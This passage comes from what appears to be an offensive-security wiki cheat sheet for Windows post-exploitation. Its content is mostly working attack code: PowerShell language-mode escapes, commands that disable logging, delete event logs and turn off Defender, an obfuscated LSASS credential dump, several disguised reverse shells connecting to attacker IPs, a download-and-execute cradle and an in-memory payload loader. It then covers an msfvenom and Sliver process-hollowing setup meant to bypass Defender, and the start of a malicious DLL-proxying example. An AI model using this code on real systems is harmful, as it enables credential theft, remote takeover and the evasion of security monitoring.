$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
